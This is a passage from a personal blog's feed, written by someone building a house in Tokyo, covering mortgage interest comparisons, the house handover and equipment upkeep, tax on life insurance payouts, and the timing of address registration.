      &lt;th&gt;Future value of investing these monthly payments after 35 years&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0.72%&lt;/td&gt;
      &lt;td&gt;4,850 yen&lt;/td&gt;
      &lt;td&gt;5,509,650 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2%&lt;/td&gt;
      &lt;td&gt;5,963 yen&lt;/td&gt;
      &lt;td&gt;6,774,212 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3%&lt;/td&gt;
      &lt;td&gt;6,927 yen&lt;/td&gt;
      &lt;td&gt;7,870,057 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3.72%&lt;/td&gt;
      &lt;td&gt;7,670 yen&lt;/td&gt;
      &lt;td&gt;8,714,372 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5%&lt;/td&gt;
      &lt;td&gt;9,084 yen&lt;/td&gt;
      &lt;td&gt;10,320,693 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;*: the average interest rate is defined as the equivalent fixed rate for the whole period that would result in the same outcome.&lt;/p&gt;

&lt;p&gt;Comparing this to the 8.7 million yen final value of the normal mortgage, it looks like as long as the average interest rate on the loan stays below 3.7% then making the switch was worth it.&lt;/p&gt;

&lt;p&gt;One could argue that the interest going above 4% would need sustained high inflation, in which case the nominal rate of return would likely exceed 5%, so I’m pretty comfortable with the decision even with the unforeseen delays.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Receiving the keys to our new house</title>
   <link href="https://szabo.jp/2025/11/01/house-handover/"/>
   <updated>2025-11-01T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/01/house-handover</id>
   <content type="html">&lt;p&gt;Last week our house was finished, and we had the official handover (家の引き渡し) yesterday.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;From Ichijo two people joined:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the sales rep, who has been acting as a project manager since our first visit to Ichijo, and will continue to be our main contact in the future, and&lt;/li&gt;
  &lt;li&gt;the construction manager, who has been overseeing the construction after the foundation was done (foundation was managed by a different person). We already met him when I went to see the main construction (done with the crane), and also when we visited the half-finished house in September&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I initially though that we will confirm that the house was built per specs, and that there are no mistakes or damages, but we have 2 months to report those, so this was more about getting an explanation of all the equipment in the house.&lt;/p&gt;

&lt;p&gt;Usually it takes 1.5-2 hours, and we took almost 2 hours (I had a lot of questions, as usual).&lt;/p&gt;

&lt;h2 id=&quot;what-we-learned&quot;&gt;What we learned&lt;/h2&gt;

&lt;p&gt;I’m documenting it here also for my future self, since I will for sure forget half of this.&lt;/p&gt;

&lt;h3 id=&quot;bath&quot;&gt;Bath&lt;/h3&gt;

&lt;p&gt;The self-cleaning bath tub needs the yellow マジックリーン (浴室用) and it takes 10 minutes to start the cleaning after you press the button (as it wants to make sure the bathtub is empty, so it opens the drain then waits, as it doesn’t have a sensor).&lt;/p&gt;

&lt;p&gt;In the bath most things on the wall (including the mirror) are fixed with magnets, so they can be moved easily. We can also get more magnetic hooks or selves (e.g. Nitori has them).&lt;/p&gt;

&lt;h3 id=&quot;the-air-circulation-system&quot;&gt;The air circulation system&lt;/h3&gt;

&lt;p&gt;The 24-hour air circulation system (ロスガード) has filters that need to be cleaned:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The main unit has a filter that has to be cleaned (vacuumed) after 3 months, then replaced after another 3 months. Ichijo gave us filters for the next 10 years for this.
    &lt;ul&gt;
      &lt;li&gt;They also offer stronger filters (PM2.5 type, if I remember correctly), that only need to be replaced yearly, and gave us 2 of these (they recommend them for people with hay fever, and these are sort of like samples as you can also buy them from Ichijo).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The main unit also has an insect capturing bag, right next to the main filter. This should be cleaned together with the filters. I don’t remember the replacement schedule for this, but we got only one extra, so I assume it needs to be replaced when it gets worn out.&lt;/li&gt;
  &lt;li&gt;Rooms have intakes where air comes in, and outtakes. The outtakes have filters. These need to be washed every 3 months with water.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;a href=&quot;https://nyanpoko-home.com/ichijo_filter/&quot;&gt;This blog post&lt;/a&gt; talks about these steps in detail.)&lt;/p&gt;

&lt;p&gt;Apart from the set of replacement filters, we also got a big bag of leftover/extra wallpapers. They told us that wallpapers are slightly different even between different lots of the same design, so it is better to keep these for future repairs.&lt;/p&gt;

&lt;p&gt;ロスガード also has a control panel where we can set three things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;whether to exchange heat (cool the incoming air in summer with the outgoing / heat it in winter) or not. This is generally good to keep it on.&lt;/li&gt;
  &lt;li&gt;whether to add humidity and how much to the incoming air (low, medium, high). This should be on during the  winter, and off during summer. This is available because we chose the うるケア extra option that adds the humidifier.&lt;/li&gt;
  &lt;li&gt;turning it on or off, or to quiet mode (お休みモード) - this is for people that are bothered by the noise and want to turn it down/off for a short while. It turns back on after 1 hour. Ichijo highly recommends keeping the air circulation always on (so much so that it has been on ever since the house was finished)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;floor-heating&quot;&gt;Floor heating&lt;/h3&gt;

&lt;p&gt;The control panel can control the temperature of the water in the 4 sections we defined during the design of the house (2 on the first floor, 2 on the second). The temperature of the air is usually 5-6 degrees cooler than the water, so they recommend setting it to 25-28 degrees (depending on personal preference). There are sensors in some rooms that measure the temperature of the water, and these should not be covered.&lt;/p&gt;

&lt;p&gt;We also checked the section of the wall where the floor heating pipes go between the first and second floor, as we should not put any screw or nail into there.&lt;/p&gt;

&lt;h3 id=&quot;solar-panels&quot;&gt;Solar panels&lt;/h3&gt;

&lt;p&gt;We checked the solar panel’s control panel. This also has a corresponding app that I have already installed and configured (the main Ichijo app prompted me to do it, and handled the authentication). Both the app and the control panel allows adjusting the mode of operation (whether to prioritize selling the electricity produced or using it) and the amount that we always want to keep in the battery (e.g. if the battery reaches 30% then stop using electricity from it). The point of this is that in case of a blackout (e.g. after a natural disaster) this setting will ensure that you always have some electricity left in the batteries to use. I asked if this was also to extend the life of the batteries, but they said no, this is just for emergencies. So I changed it to 10% (down from the default 30%), the lowest they recommended.&lt;/p&gt;

&lt;p&gt;We also checked the breaker box: there are actually two boxes next to each other. One is the usual breaker box with breakers for individual circuits and a main breaker. The other one is for solar panel operations. This has a 3 way switch that is on the top setting in normal operations (producing electricity but also connected to the grid). If there is a blackout, the house will loose electricity until we switch this to the bottom setting (solar and battery mode). The third, middle mode is neutral (off). We actually tested this, and worked as described.&lt;/p&gt;

&lt;p&gt;Last information on the solar panels was the billing for selling the excess electricity: Ichijo handled the contract for us with Tepco, however due to Tepco being busy, it only starts in 1-2 months. Until then we just waste the excess electricity. After that we will receive a bank transfer each months for the electricity sold. This is unrelated to the fact that we are also buying electricity from Tepco: that’s a separate contract and we could even change it to be a different company (e.g. Tokyo Gas). Unfortunately that also makes &lt;a href=&quot;https://www.nta.go.jp/law/shitsugi/shotoku/02/44.htm&quot;&gt;this an income and will be taxed as misc income&lt;/a&gt; (I need to look into how to deduct the depreciation to lower it, as misc income gets taxed at the marginal rate).&lt;/p&gt;

&lt;h3 id=&quot;connectivity-box&quot;&gt;Connectivity box&lt;/h3&gt;

&lt;p&gt;Ichijo created a connectivity box (情報ボックス) in the location of our choice, so we put it into my office. This is where all ethernet cables go and where the internet fiber will come. Right now it has the ethernet cables from each room, from the LAN cameras (the Panasonic ones that Ichijo installed), from the power conditioner (providing the data on the solar panels), and from the smart breaker box (main unit of &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;the HEMS smart home system&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The solar panel and the breaker box was already connected to a mobile modem. That’s how the app with the solar panel information is already working, even though we don’t have the internet connected yet. Ichijo pays for this for 10 years, and after that they ask customers to connect it to their own network. Our sales guy said that we can connect it earlier as well, they mainly have it as the company wants to see how the solar panels are doing and some customers don’t have internet at home.&lt;/p&gt;

&lt;p&gt;This also brought us to the list of things that don’t yet work:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the cameras since they will need to be connected to our own network&lt;/li&gt;
  &lt;li&gt;the intercom, since the outside unit (caller) will be installed during the exterior construction&lt;/li&gt;
  &lt;li&gt;HEMS and any of the smart home - I was told this will be enabled soon via the app. I might ask about it again if it doesn’t work in a week or so&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;entrance-door&quot;&gt;Entrance door&lt;/h3&gt;

&lt;p&gt;During the constructions they were using the construction keys to open the door (these look like regular keys, but they are different from the final keys). As part of the handover, I got to open the sealed bag of the final keys, then use them to lock and unlock the door once. After this the constructions keys no longer worked (we verified this).&lt;/p&gt;

&lt;p&gt;We also got the radio keys as an additional option: so we can keep the key in our pocket and simply press a button on the door to lock/unlock it (similar to how modern cars work). We were told to never leave the keys near the door even inside, as if the door detects them, then anyone can open the door even from outside. The best is to place them in a Faraday cage box that blocks all radio waves, so we will get one of those. (This is also nice for the car’s key, as &lt;a href=&quot;https://leasing.com/guides/relay-car-theft-what-is-it-and-how-can-you-avoid-it/&quot;&gt;relay attacks&lt;/a&gt; are becoming common even in Japan.)&lt;/p&gt;

&lt;h3 id=&quot;minor-mechanical-equipments&quot;&gt;Minor mechanical equipments&lt;/h3&gt;

&lt;p&gt;We also checked how the locks on the windows work, how the insect screens open, how the cloth lines can be used, how the door to the loft storage opens, and how the underfloor storage worked. No surprises, more like making sure we will be able to use everything from day 1.&lt;/p&gt;

&lt;p&gt;We also got the manuals and the warranty papers for all the equipment. Since &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;we went with a custom kitchen&lt;/a&gt; we didn’t get any explanation about that (other than to please check and follow the manuals).&lt;/p&gt;

&lt;p&gt;I had one more extra question about how to remove the door of one of the built-in closets, so they showed me. (Initially we will use one of the kids’ room as family closet, so we don’t need the door.) It doesn’t need any tools, just un-clip the door on the bottom, then on the top, and move it. But it’s heavy.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Tax on life insurance payouts in Japan</title>
   <link href="https://szabo.jp/2025/10/30/tax-on-life-insurance-payouts/"/>
   <updated>2025-10-30T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/10/30/tax-on-life-insurance-payouts</id>
   <content type="html">&lt;p&gt;A while back I took a look at &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;life insurance in Japan&lt;/a&gt; and now I’m getting close to actually buying one. As I was thinking about the coverage to get, I looked into how these payouts are taxed (since I care about the net payouts).&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;type-of-tax-depending-on-the-payer-and-receiver&quot;&gt;Type of tax depending on the payer and receiver&lt;/h2&gt;

&lt;p&gt;The type of tax depends on who paid for the insurance, and who receives the money. From the &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1750.htm&quot;&gt;NTA’s site&lt;/a&gt;:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Insured person&lt;/th&gt;
      &lt;th&gt;Insurance premium payer&lt;/th&gt;
      &lt;th&gt;Beneficiary&lt;/th&gt;
      &lt;th&gt;Type of Tax&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;A&lt;/td&gt;
      &lt;td&gt;B&lt;/td&gt;
      &lt;td&gt;B&lt;/td&gt;
      &lt;td&gt;Income tax&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;A&lt;/td&gt;
      &lt;td&gt;A&lt;/td&gt;
      &lt;td&gt;B&lt;/td&gt;
      &lt;td&gt;Inheritance tax&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;A&lt;/td&gt;
      &lt;td&gt;B&lt;/td&gt;
      &lt;td&gt;C&lt;/td&gt;
      &lt;td&gt;Gift tax&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;In my case I want to make sure my family has money in case my untimely demise, so the insured is me and the beneficiary is my wife. If my wife pays for the insurance, then the payout is taxed as income. If I pay for the insurance then the payout is taxed as inheritance. The latter has generally a lower rate (though it depends on the size of the estate), so I should be paying for the insurance.&lt;/p&gt;

&lt;h2 id=&quot;type-of-insurance&quot;&gt;Type of insurance&lt;/h2&gt;

&lt;p&gt;In &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;my earlier post&lt;/a&gt; I ruled out whole life insurance (終身保険), and was thinking about term life insurance (定期保険) or income protection insurance (収入保障保険). Both have a fixed time period (e.g. 25 year from now) and if I die during that time, then they pay. If I’m still alive after 25 years, then they don’t pay anything. This keeps the premiums low compared to whole life insurance.&lt;/p&gt;

&lt;p&gt;The difference between term life insurance and income protection insurance is their payout method: term life insurance pays a lump sum (e.g. 10 million yen) at the time of death. Income protection insurance pays a fixed monthly amount (e.g. 150,000 yen) until the end of the coverage (so e.g. if it’s a 25 year term and the person dies after 15 years, then it pays for the remaining 10 years). This monthly payment method is called 年金 in Japanese (same word as pension).&lt;/p&gt;

&lt;p&gt;We have seen earlier that the term life insurance will get taxed as inheritance: e.g. if the payout is 10 million yen, it will get added to the estate (all the other things being inherited) and taxed together.&lt;/p&gt;

&lt;p&gt;The income protection insurance is taxed a bit differently. The thinking goes like this: instead of the monthly payments, let’s consider that the insurance pays a lump sum, then the receiver buys a product that pays the pension payments (e.g. 150,000 yen/month for the next 10 years). The end result of this is the same, but it can be taxed separately as inheritance and then as interest/gains on the monthly payments.&lt;/p&gt;

&lt;p&gt;So at the time of death they calculate the surrender value equivalent of the pension (解約返戻金相当額), essentially how much the current value of the future monthly payments are (or how much the insurance company would pay if we would cancel the contract, or how much it would cost to buy a similar pension). This part gets taxed as inheritance.&lt;/p&gt;

&lt;p&gt;Source is &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/sozoku/4123.htm&quot;&gt;this NTA site saying&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;年金受給権が相続税の課税対象となるときの価額の評価は、相続税法第24条または第25条の規定に基づき解約返戻金相当額などにより評価します。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The monthly payments get split into principal and interest portions (part is just giving back the original price, part is the interest). The principal is tax free and the interest/gains get taxed as misc income. &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1620.htm&quot;&gt;Exact calculation is here&lt;/a&gt; but one thing to keep in mind is that the taxable portion increases as time goes (since bigger portion of the payment is considered interest).&lt;/p&gt;

&lt;h3 id=&quot;calculating-the-present-value-of-monthly-payments&quot;&gt;Calculating the present value of monthly payments&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.nta.go.jp/publication/pamph/sozoku/pdf/teikikin.pdf&quot;&gt;This NTA guide&lt;/a&gt; goes into more details on this and says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;定期金給付事由が発生している定期金に関する権利については、
①解約返戻金の金額、
②定期金に代えて一時金の給付を受けることができる場合には一時金の金額又は
③給付を受けるべき金額の1年当たりの平均額を基に一定の方法で計 (以下、「予定利率による金額」といいます。)のうちいずれか多い金額により評価することとされました。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Rights related to annuities for which an annuity payment event has occurred will be valued at the greater of:
(1) the amount of the surrender value;
(2) the amount of a lump sum if a lump sum payment is available in lieu of an annuity; or
(3) calculated using a certain method based on the average annual amount of the amount to be paid (hereinafter referred to as the “amount based on the assumed interest rate”).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Option 3 calculates the present value of the annuity by decreasing the value of future payments by the interest rate (e.g. receiving 105,000 yen next year has a present value of 100,000 yen, if the interest rate is 5%).&lt;/p&gt;

&lt;p&gt;I believe the interest rate used here is 基準年利率 (base annual interest rate) which &lt;a href=&quot;https://www.nta.go.jp/law/tsutatsu/kobetsu/hyoka/250500/01.htm&quot;&gt;is 0.5-2% in 2025&lt;/a&gt; (depending on the term: short term is less, long term is more).&lt;/p&gt;

&lt;p&gt;This is important because if the insurance provider doesn’t offer a surrender or lump sum option, then it falls back to this calculation.&lt;/p&gt;

&lt;p&gt;At 2% interest and 10 year of 150,000 yen/month of payments the present value is calculated (using the formula &lt;a href=&quot;https://www.nta.go.jp/publication/pamph/sozoku/pdf/teikikin.pdf&quot;&gt;from the earlier guide&lt;/a&gt;):&lt;/p&gt;

&lt;!-- 
```math
\frac{1 - \left(\frac{1}{(1 + r)^n}\right)}{r}
= \frac{1 - \left(\frac{1}{(1.02)^{10}}\right)}{0.02}
= 8.98
```
 --&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(1-(1/(1+r)^n)) / r = (1-(1/((1.02)^10)))/0.02 = 8.98
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r&lt;/code&gt;: interest&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt;: number of years&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;150,000 yen a month is 150,000*12=1.8 million yen per year, so 1.8*8.98=16.16 million yen is the present value.&lt;/p&gt;

&lt;h3 id=&quot;tax-on-the-monthly-payments&quot;&gt;Tax on the monthly payments&lt;/h3&gt;

&lt;p&gt;Continuing the above example: for the 18 million yen overall payout (150,000 yen per month for 10 years) we paid inheritance tax on 16.16 million yen. This is 89.77%. From the &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1620.htm#:~:text=%E8%AA%B2%E7%A8%8E%E3%83%BB%E9%9D%9E%E8%AA%B2%E7%A8%8E%E9%83%A8%E5%88%86%E3%81%AE%E6%8C%AF%E3%82%8A%E5%88%86%E3%81%91%EF%BC%88%E6%96%B0%E7%9B%B8%E7%B6%9A%E7%A8%8E%E6%B3%95%E5%AF%BE%E8%B1%A1%E5%B9%B4%E9%87%91%EF%BC%89&quot;&gt;NTA site&lt;/a&gt; this makes it fall into the “Inheritance tax assessment ratio of 89-92%” category which corresponds to a taxable portion of 8%.&lt;/p&gt;

&lt;p&gt;So out of the 18 million yen overall payment, 8% of it, so 18*0.08=1.44 million yen will be subject to income tax as misc income.&lt;/p&gt;

&lt;p&gt;This gets split between the years like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-10-30-tax-on-life-insurance-payouts/taxable-per-year.gif#lb&quot; alt=&quot;Taxable portion per year (source: https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1620.htm)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First year the taxable portion is 0, then 1 unit, then 2 units, etc. Over 10 years the overall number of units is 1+2+3+4+5+6+7+8+9=45, so each unit corresponds to 1,440,000/45=32,000 yen of taxable income. So over the years the taxable portion goes like this:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Year&lt;/th&gt;
      &lt;th&gt;Money received&lt;/th&gt;
      &lt;th&gt;Taxable portion&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥32,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥64,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥96,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥128,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥160,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥192,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥224,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥256,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;¥1,800,000&lt;/td&gt;
      &lt;td&gt;¥288,000&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The taxable portion is taxed at the marginal tax rate. So even if someone makes between 9-18m yen per year (33% national tax + 10% local tax), in the last year they will still only pay 288,00 yen*0.43=123,840 yen tax and receive 1,676,160 yen (139,680 yen per month instead of the first year’s 150,000 yen). Prior years will be taxed even less.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;If I pay for my own life insurance, then the payout will get taxed as inheritance with the rest of estate. For lump sum payment, that’s the end of it. For monthly payments, there is a bit more calculations, but most of it will get taxed this way, the rest as misc income as it gets payed out (even at higher marginal tax rates the monthly payments get taxed less than 10%).&lt;/p&gt;

&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;The NTA articles linked above:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1750.htm&quot;&gt;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1750.htm&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/sozoku/4123.htm&quot;&gt;https://www.nta.go.jp/taxes/shiraberu/taxanswer/sozoku/4123.htm&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1620.htm&quot;&gt;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1620.htm&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lify.jp/life/death/income/article-20059/&quot;&gt;Another article doing a similar example calculation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>When to register the new address when moving into our new house</title>
   <link href="https://szabo.jp/2025/10/24/when-to-register-the-new-address/"/>
   <updated>2025-10-24T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/10/24/when-to-register-the-new-address</id>
   <content type="html">&lt;p&gt;We are building our house in Tokyo, and as the construction is coming to an end, we had to decide when to update our address at the city hall.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Everyone living in Japan is required by law to register their address at the local city hall within 14 days of moving. If moving within Japan, then first one needs to go their old city hall, register their intent of moving out, receive the moving out certificate, bring that to the new city hall and register the new address.&lt;/p&gt;

&lt;p&gt;Moving out paperwork can be handled up to 2 weeks before the moving date. Moving in has to be done from the day of moving to within 2 weeks.&lt;/p&gt;

&lt;p&gt;No proof is required for the address (e.g. no need to show the rental contract), but registering a fake address is against the law.&lt;/p&gt;

&lt;p&gt;The registered date of the moving should be the actual date of the move (and the 2 week grace period should provide enough buffer to handle the paperwork).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://mogecheck.jp/articles/show/ZByJwe8M4vOVElaboR7O&quot;&gt;According to the mortgage comparison site, mogecheck.jp&lt;/a&gt; the penalties are severe:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;転出届・転入届・転居届の提出は、住民基本台帳法で定められている義務です。行政が提供する各種サービスの利用にも関わります。そのため期限内に届出を提出しなければ『5万円以下の過料』が科されるルールです。&lt;/p&gt;

  &lt;p&gt;また引っ越し前に新住所へ転入届や転居届を出すと、公務員に対する嘘の申し立てを行った違法行為とみなされます。届出が嘘だと判明すると『5年以下の懲役または50万円以下の罰金』が科される可能性があります。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Submitting a notification of moving out (転出届), moving in (転入届), or change of address within the same municipality (転居届) is an obligation stipulated by the Basic Resident Registration Act. It also affects your ability to use various administrative services. Therefore, if you fail to submit the notification within the required period, you may be subject to a civil fine of up to 50,000 yen.&lt;/p&gt;

  &lt;p&gt;In addition, if you submit a notification of moving in or change of address before actually moving, it is considered an illegal act — a false statement to a public official. If it is found that the notification was false, you may face imprisonment of up to 5 years or a fine of up to 500,000 yen.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;(I’m not a lawyer, so can’t confirm if this is true or not.)&lt;/p&gt;

&lt;h2 id=&quot;the-issue&quot;&gt;The issue&lt;/h2&gt;

&lt;p&gt;When moving from a rental to a rental, there is no issue: it is easy to follow the law and use the actual moving date as the official moving date.&lt;/p&gt;

&lt;p&gt;However when buying a house, another system comes into play: the real estate registry (不動産登記簿上). This has the name and address of the owner of each parcel of land (and information about buildings and mortgages as well). So theoretically the process of buying a new home should go like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Decide to buy a place, make the offer, get accepted, finalize the mortgage&lt;/li&gt;
  &lt;li&gt;Go to the bank with the seller, sign the paperwork, start the mortgage. The judicial scrivener (either from the seller, the real estate agent, or the bank) handles the real estate registry changes (new owner and mortgage). The owner’s address is registered as their old address&lt;/li&gt;
  &lt;li&gt;Move to the new home, update the address at the city hall&lt;/li&gt;
  &lt;li&gt;Update the real estate registry to the new address&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;(When buying land and then building a house the steps are slightly more complex, but after the house is ready, there is still a step to go to the bank to finalize the house-part of the mortgage, and there is a judicial scrivener there to update the mortgage and building information on the registry.)&lt;/p&gt;

&lt;p&gt;To help the new owner not have to worry about updating the real estate registry, many banks recommend to update the address at the city hall before the mortgage finalization. This way the judicial scrivener can use the new address for the real estate registry, and thus the buyer don’t need to do anything. (Essentially do step 3 before step 2 and skip step 4.)&lt;/p&gt;

&lt;p&gt;This is technically illegal, as no seller allows to move-in before finalizing the mortgage, so the actual moving can’t happen before that. However it is very common to do it, e.g. &lt;a href=&quot;https://www.homes.co.jp/cont/buy_kodate/buy_kodate_00528/#:~:text=%E3%81%84%E3%81%A4%E3%81%8C%E3%81%84%E3%81%84%EF%BC%9F-,%E7%90%86%E6%83%B3%E3%81%A8%E3%81%97%E3%81%A6%E3%81%AF%E4%BD%8F%E5%AE%85%E3%83%AD%E3%83%BC%E3%83%B3%E3%81%AE%E5%A5%91%E7%B4%84%E3%82%92%E7%B5%90%E3%81%B6%E5%89%8D,-%E4%BD%8F%E6%89%80%E5%A4%89%E6%9B%B4%E3%82%92&quot;&gt;the real estate site, Home’s&lt;/a&gt; says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;住所変更を行うタイミングとしては、住宅ローンの契約（金銭消費貸借契約）を結ぶタイミングが理想とされ、契約を行う前に住民票を移しておくのが理想的です。…
ここで現住所に住民票があるまま契約すると、新居を登記する際に住所に変更が生じ、複数に渡り登記を行わなくてはいけなくなります。この際、登記手続きを司法書士に依頼すると、その報酬として1～2万円程度の費用が必要となります。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;The ideal timing to change your registered address is when you sign the housing loan agreement (the money lending and borrowing contract). Ideally, you should move your residence registration (jūminhyō) before signing the contract.
If you sign the contract while your resident record still shows your old address, then when you register ownership of your new home, the address will have changed — meaning you’ll need to go through multiple registration procedures. In that case, if you hire a judicial scrivener (司法書士) to handle the registrations, you’ll need to pay a fee of around 10,000 to 20,000 yen as compensation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But they also note to ask your city hall if they are cool with this.&lt;/p&gt;

&lt;p&gt;Meanwhile the above mentioned &lt;a href=&quot;https://mogecheck.jp/articles/show/ZByJwe8M4vOVElaboR7O&quot;&gt;mogucheck.jp article&lt;/a&gt; strongly advises against updating your address before the move, stating the penalties and also saying that you might miss important mail from the government if you don’t actually live at the new address yet.&lt;/p&gt;

